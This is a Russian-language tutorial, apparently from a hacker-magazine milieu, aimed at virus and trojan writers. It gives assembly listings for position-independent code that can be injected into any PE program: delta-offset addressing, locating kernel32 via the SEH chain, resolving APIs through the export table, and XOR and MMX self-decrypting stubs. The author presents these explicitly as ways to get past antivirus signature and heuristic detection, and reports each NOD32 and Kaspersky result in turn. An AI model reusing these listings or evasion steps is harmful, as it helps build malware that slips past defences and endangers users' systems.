Ты писал когда-небудь вирусы, трояны и тому подобное “вредоносное” ПО? Проверял потом свое детище антивирем? Если ты писал это дело на асме (как и надо ;)), то, скорее всего оно детектитса как неизвестный Win32 вирус (если переносим код, а не экзэшник ;)), а если ты еще и модифицируешь свой бинарник в оперативе, вообще – Win32 Crypt Virus. Я считаю, что в этом хорошего мало, поэтому пишу эту статью :). Создание кода, который смог бы ужиться в любой PE программе довольно таки не простая штука. Есть несколько вещей, без которых программа не может существовать, которые она тащит за собой (точнее в себе :)), полностью теряя переносимость кода (в принципе ей этого не нужно, но это нужно нам ;)). Первое и самое главное – это, конечно же, таблица импорта. В этой таблице хранятся имена функций винды (API), которые юзает прога и пустые 4-ех байтовые промежутки, которые заполняются адресами этих самых апи загрузчиком во время запуска программы. То есть вызов какой либо апи выглядит так: Call dword ptr name_of_func Где name_of_func – это смещение адреса нужной нам функции в таблице импорта. Это значит, что в любой проге жестко вшита запись, которая заполняется в момент запуска. Выходит, что скопировав кусок кода с вызовами разных апи прога работать не будет так как надо (вылетание с эрором нормальной работой не cчитается ;)). Вывод: нужно находить самим все функции! Но это позже ;). Что же делать, если нужен кусок кода, который должен быть переносимым (то есть, скопировав из одной программы в другую, работал на 100%)? В данном случае жесткие привязки нужно отправлять в топку, нам они ни к чему! Это является вторым очень важным моментом. У нас не должно быть ни одной переменной, четко привязанной к определенному адресу, потому, что такого адреса может просто-на-просто не существовать. Так что избавляемся от вредной привычки адресовать переменные через четкий адрес (если в сорце, на стадии проектирование – имя). “Хорошо”- скажешь ты, - “А что же тогда можно использовать??? Как из этого возможно выпутаться???” В принципе можно, и это не так сложно, как кажется ;). Начнем с того, что переменные будем адресовать через стэк, и хранить их будем там же (в принципе, переменные только туда и направляются еще на стадии компиляции, когда компилиш ЯВУ прогу. Это будет выглядеть примерно так: format pe gui 4.0 ;листинг 1 num_of_var equ 2; количество переменных var_1 equ ebp ;обьявление синонимов var_2 equ ebp+4 Готовим стэк для хранения наши переменных sub esp,4*num_of_var;esp=esp-4*num_of_var mov ebp,esp ;esp=ebp ;пример использования переменных: mov dword[var_1],eax ; ;Возвращаем первоначалное значение esp: add esp,4*num_of_var;esp=esp+4*num_of_var ret Весь прикол в том, что мы выделяем на стэке место, которое будем использовать для хранения своих переменных. На 4 умножается число переменных потому, что смещение в 32-ух битных (то есть максимальный размер переменных) процах весит четыре байта(32 бита соответственно). Итак, одна из проблем решена. Жесткой привязки к переменных у нас больше нет :). Хотя нет… не решена, а что если необходимо передать функции в качестве параметра адрес строки? Не будем же мы ее создавать каждый раз, теряя на этом бесценные байты! Тут есть одна хитрость. Взгляни на код: format pe gui 4.0 ;листинг 2 call $+5; прыгаем на 5 байт вперед, ;начиная от начала инструкции call, ;которая как раз и весит 5-байт ;то есть на следующую инструкцию :) ;и в тоже время ложем в стэк адрес следующей ;инструкции start: pop ebp; то есть после выполнения этой ;инструкции в ebp будет лежать ее адрес. sub ebp,start ;после этого в ebp будет лежать ;дельта, то есть, чтобы в eax положить смещение ;строки hi нужно прописать такой код: lea eax,[hi+ebp] ret;теперь в eax адрес строки hi :) hi db 'hello world',0 Ну вот с переменными и константами разобрались :). Теперь самое интересное. С таблицей импорта все не так просто. Я уже говорил, что она заполняется во время запуска проги. Тут возникает вопрос: можно ли их, в тупую скопировать и юзать MessageBoxA, например, через адрес 77D7050Bh? Ответ на него тоже возникает, как не странно :). Дело в том, что адрес этой функции (которая находится в user32.dll, кстати) будет меняться с каждым билдом этой либы. То есть даже в пределах одной оси с разными сервиспаками совместимость теряется :(, что не очень хорошо. Поэтому все адреса нужно искать самому. Давай рассмотрим следующий код. format pe gui ;листинг 3 num_of equ 4 kernel_32 equ esi get_proc equ esi+4 load_lib equ esi+8 get_module equ esi+$C sub esp,4*num_of; mov esi,esp cdq; edx=0, короче чем ксор на байт mov eax,dword ptr fs:edx find_kern1: mov ebx,[eax] cmp ebx,-1 je find_kern2 mov eax,ebx jmp find_kern1 find_kern2: mov eax,[eax+4] xor ax,ax find_kern2_1: mov ebx,[eax] cmp bx,$5a4d;Это MZ? jz find_kern2_2 sub eax,$10000 jmp find_kern2_1 find_kern2_2: ;сейчас у нас уже есть адрес kernel32.dll в eax mov dword[kernel_32],eax mov ebx,eax add ebx,[eax+$3c] add ebx,$78 mov ebx,[ebx] add ebx,eax mov edx,[ebx+$20] add edx,eax;in edx address of export table push ebx xor ebx,ebx getapi2k_4: push esi push ecx call $+5+15;5-размер кола + размер слова db 'GetProcAddress',0 pop esi; в esi будет лежать адрес слова, xor ecx,ecx; по которому будем искать mov cl,15 mov edi,[edx] add edi,eax repe cmpsb;по символьно сравниваем 15 букв je getapi2k_3;(взгляни на cl ;)) pop ecx; есле равно то выпрыгиваем из цикла pop esi add edx,4 inc ebx jmp getapi2k_4 ;мы нашли номер нужной апи getapi2k_3: pop ecx pop esi pop ecx shl ebx,1 mov edx,[ecx+24h] add edx,eax add edx,ebx mov edx,[edx] and edx,$0FFFF mov ebx,[ecx+$1c] add ebx,eax shl edx,2 add ebx,edx mov edx,[ebx] add edx,eax;Сейчас в edx лежит адрес GetProcAddress mov dword[get_proc],edx call $+5 _del:pop ebp sub ebp,_del ;Находим адреса нужных нам апи mov edi,esi; Следующий код выполняет lea esi,[ebp+_import];одну рутинную xor ecx,ecx;операци _again1: ;намного эффективнее, чем add cl,4 ;если бы мы каждую апи push ecx ;искали сами. ;банальный цикл в общем :) push esi push dword ptr edi;Адрес kernel32.dll call dword ptr edi+4;GetProcAddress pop ecx mov dword ptr edi+4+ecx,eax; _again0: ;Поочереди заполняем наши lodsb ;переменные test al,al jnz _again0 lodsb test al,al jz _stop dec esi jmp _again1 _stop: mov esi,edi ;Конец. Либо нашли и все в умате, либо (если код не отлажен) ;все не очень ;), но тут надо быть внимательным, или любителем ;жесткого секса ;) (Оля – лучший парнтнер, как по мне :)) call _user32 db "user32.dll",0 _user32: call dword[load_lib] call _msg_box db "MessageBoxA",0 _msg_box: push eax call dword[get_proc] push 0 call _capt db 'made by 3n3m1',0 _capt: call _mesg db 'h3ll0 w0rld =)',0 _mesg: push 0 call eax add esp,4*num_of ret _import: db "LoadLibraryA",0,"GetModuleHandleA",0,0 Я прошу прощение, за то, что не комментирую каждую строчку листинга. Дело в том что функция поиска апи давно известна, то есть не я ее придумал ;). Очень рекомендую почитать ][спец 8.2004, называется “Переполнение Буфера” (http://www.xakep.ru/magazine/xs/045/014/2.asp), там все очень хорошо описано, я влил в настоящую программу, из реальной жизни (потому, что там все, имхо, было вырвано из контекста). После того, как мы нашли адрес функции GetProcAddress, мы вытягиваем все, что нам необходимо из либы kernel32.dll ( в функции GetModuleHandleA нет необходимости в нашей проге, но для демонстрации моего алгоритма быстрого (это цикл… то есть, возможно, не очень быстрого, но зато удобного ;)) поиска апи, с помощью структуры имен, она необходима :)), точно также можно и из остальных либ по вытаскивать. Дальше находим адрес функции MessageBoxA и показывает классический “h3llo w0rld =)!”. К стати эти два кола я использовал для иллюстрации того, как можно еще пихать в стэк нужные адреса (переносимость 100%, поскольку call прыгает всегда на + или – N байт относительно себя, при этом ложит в стэк адрес следующей инструкции). Итак, переносимый код мы написали :)! А теперь самое главное. Как проверить, что код является переносимым? Имхо, проще всего это сделать через Ольку (ты ведь необходишься без нее во время кодинга на асме, правда?). Начнем. Заходим в Ольку. Открываем нашу прогу. Выделяем весь код. Жмем левую кнопку мыши, выбираем Binary->Binary copy. Опускаемся вниз(в нули). Выделяем около 400-от строк (на глаз, главное, что бы не мало), начиная с 0040116Dh, и жмем на мышь Binary->Binary past. Потом идем на entry poin. Жмем пробел и пишем jmp 0040116D. Потом либо трассируем(F8), либо запускаем на исполнение(Ctrl-F9) и наблюдаем результат. Вот и вся проверка на вшивость (или переносимость, как тебе больше нравится). К стати, советую все что пишешь, компилиш, или запускаешь анализировать в Ольке, будишь лучше асму шарить, да и устройство работы винды и виндовых приложений раздуплиш не плохо :). Давай теперь проверим наш экзэшник Нодом (Nod32 – Имхо, лучший эвристик), так… что он пишет? “D:\temp\1.exe - вероятно неизвестный WIN32 вирус [7]”. Опачки… А что же мы такого плохого делаем, что нас обзывают ВЕРОЯТНО НЕИЗВЕСТНЫЙ WIN32 ВИРУС??? Показываем окошечко с надписью “привет мир”? Да… дожились. Ну да ладно. Понятно, что он написал это потому, что мы искали каждую апи самостоятельно (дело в том, что ее используют в основном в вирусах), а не использовали таблицу импорта, как это делают ВСЕ программы. Имхо, это сообщение портит всю малину. Антивирус Касперского пишет, что все О.К., обычная прога, ничего особенного. Хм… Не очень мне нравится вот этот вывод Нода о нашей проге… Надо с этим что-то делать. Первое, что мне приходит на ум это шифровка кода. Рассмотрим самый простой вид шифровки: xor. format pe gui ;листинг 4call $+5_ebp:pop ebp sub ebp,_ebp lea esi,[ebp+_start] mov edi,esi mov ecx,_end-_start _loop: lodsb ;загружаем в al xor al,$ff ;Шифруем c операндом $ff,;для расшифровки наобходимо повторить инструкцию ;cc тем же операндом stosb ;<=>mov byte ptr esi, al(короче) loop _loop;мотаем цикл, уменьшая ecx до нуля, ;на 1 за итэрацию. ret _start: ;Здесь пишем любой код(данные), ;который нам нужно зашифровать push 0 pop eax _end: Запишем код вызывающий месагу с привет миром между _start и _end. Вот этот кусочек кода можно выкинуть из листинга 3(тот, что будем копировать): call $+5 _del:pop ebp sub ebp,_del "format pe gui" само-самобой тоже убираем с 3-его сорца. Дельту мы вычислим на начале 4-ого листинга. Еще надо удалить ret, что бы увидеть “h3llo w0rld =)!” После копирования компилим. Дальше запускаем экзэшник в Ольке, жмем + и наблюдаем за результатом. Участок кода будет постепенно превращаться в кучу никому не понятного чего-то ;). Это нормально. Подождав пару секунд жмем , ставим бряк на команду по адресу 00401020h и запускаем прогу по . После остановки на бряке выдели весь зашифрованный код мышью, дальше мышь->Copy to executable-> ->Selection->мышь->save file-> выбираешь имя и путь жмешь ОК. После этого при запуске этого сохраненного, код между _start и _end будет расшифровываться, то есть сигнатурный поиск ничего не даст ;)! Проверяем Касперским… все ОК. Кто бы сомневался :). Лады, а Нод чем порадует? Хм… “D:\temp\!2.exe - вероятно неизвестный CRYPT.WIN32 вирус [7]”… Да ни чем он нас не порадовал :(… Хотя мы тоже не на basic'е писаны!!! Есть один очень интересный выход… Глянь на сорец: format pe gui ;листинг 5 call $+5 _ebp:pop ebp sub ebp,_ebp mov eax,_end-_start xor ecx,ecx mov cl,8 cdq div ecx mov ecx,eax test edx,edx jz $+3 inc ecx _decrypt: movq mm1,[ebp+_start+ecx*8] movq mm2,[_ebp+ebp] pxor mm1,mm2 movq [_start+ebp+ecx*8],mm1 loop _decrypt _start: _end Принцип такой: ложим в ecx 8(qdword переменная, вмещающая в себя 8 байт) делим eax, содержащий размер в батах шифруемого кода на ecx, потом то, что получим положим в ecx, а если будет остаток(он ложитса в edx), добавим 1 к ecx. Перейдем к шифрованию. Movq - команда которая работает с mmx-регистрами (mm0,…,mm7), размер которых 8 байт, аналог mov, но работает только со своими регистрами. Pxor - mmx xor, то есть xor который работает с восьми байтовыми переменными. Между _start и _end вставь код из 3-его листинга(как в прошлый раз). Скомпиль. Проделай в Ольке то же, что и в прошлый раз. Так… теперь натравим антивирь на нашу прогу. Касперский говорит, что все ОК. Как всегда, в принципе. Так, а Нод… “D:\temp\!3.exe - - OK”. Ну вот в принципе и все, что я хотел сегодня рассказать :). Удачи тебе в освоении одного из самых красивых и интересных языков программирования(не заслужено пинаемого всеми кому не лень :-\) из всех существующих ;)!
|